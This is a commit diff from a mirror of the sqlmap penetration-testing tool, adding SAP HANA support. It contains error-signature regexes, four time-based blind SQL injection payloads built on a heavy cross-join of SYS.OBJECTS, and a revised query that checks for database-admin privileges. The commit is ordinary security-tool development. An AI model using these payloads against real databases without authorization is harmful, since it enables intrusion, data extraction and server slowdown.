CERBERUS/sqlmap
1
0
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2026-07-10 18:43:07 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions 1

Expand SAP HANA: role-aware is_dba, heavy-query time-based, error signatures

Browse source
This commit is contained in:
Miroslav Štampar 2026-07-09 17:06:00 +02:00
parent 1465d55a47
commit 3784f8bafd
4 changed files with 86 additions and 2 deletions
Download patch file Download diff file Expand all files Collapse all files

7
data/xml/errors.xml
View file

@ -256,4 +256,11 @@
<dbms value="Spanner">
<error regexp="type.googleapis.com/zetasql.ErrorMessageModeForPayload"/>
</dbms>
<dbms value="SAP HANA">
<error regexp="SAP DBTech JDBC"/>
<error regexp="invalid number: not a valid number string"/>
<error regexp="sql syntax error:.*?\(at pos \d+\)"/>
<error regexp="inserted value too large for column"/>
</dbms>
</root>

77
data/xml/payloads/time_blind.xml
View file

@ -2170,5 +2170,82 @@
</details>
</test>
<test>
<title>SAP HANA AND time-based blind (heavy query)</title>
<stype>5</stype>
<level>3</level>
<risk>2</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
<request>
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP HANA</dbms>
</details>
</test>
<test>
<title>SAP HANA OR time-based blind (heavy query)</title>
<stype>5</stype>
<level>3</level>
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
<request>
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP HANA</dbms>
</details>
</test>
<test>
<title>SAP HANA AND time-based blind (heavy query - comment)</title>
<stype>5</stype>
<level>5</level>
<risk>2</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
<request>
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
<comment>--</comment>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP HANA</dbms>
</details>
</test>
<test>
<title>SAP HANA time-based blind - Parameter replace (heavy query)</title>
<stype>5</stype>
<level>5</level>
<risk>2</risk>
<clause>1,2,3,9</clause>
<where>3</where>
<vector>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE]))</vector>
<request>
<payload>(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME))</payload>
</request>
<response>
<time>[DELAYED]</time>
</response>
<details>
<dbms>SAP HANA</dbms>
</details>
</test>
<!-- End of time-based boolean tests - ORDER BY, GROUP BY clause -->
</root>

2
data/xml/queries.xml
View file

@ -1959,7 +1959,7 @@
<hostname query="SELECT HOST FROM SYS.M_HOST_INFORMATION WHERE KEY='host_name'"/>
<table_comment query="SELECT COMMENTS FROM SYS.TABLES WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s'"/>
<column_comment query="SELECT COMMENTS FROM SYS.TABLE_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND SCHEMA_NAME='%s'"/>
<is_dba query="EXISTS(SELECT * FROM SYS.GRANTED_PRIVILEGES WHERE GRANTEE=CURRENT_USER AND PRIVILEGE='DBADMIN')"/>
<is_dba query="EXISTS(SELECT 1 FROM SYS.EFFECTIVE_PRIVILEGES WHERE USER_NAME=CURRENT_USER AND PRIVILEGE IN ('DATA ADMIN','USER ADMIN','ROLE ADMIN'))"/>
<check_udf/>
<users>
<inband query="SELECT USER_NAME FROM SYS.USERS"/>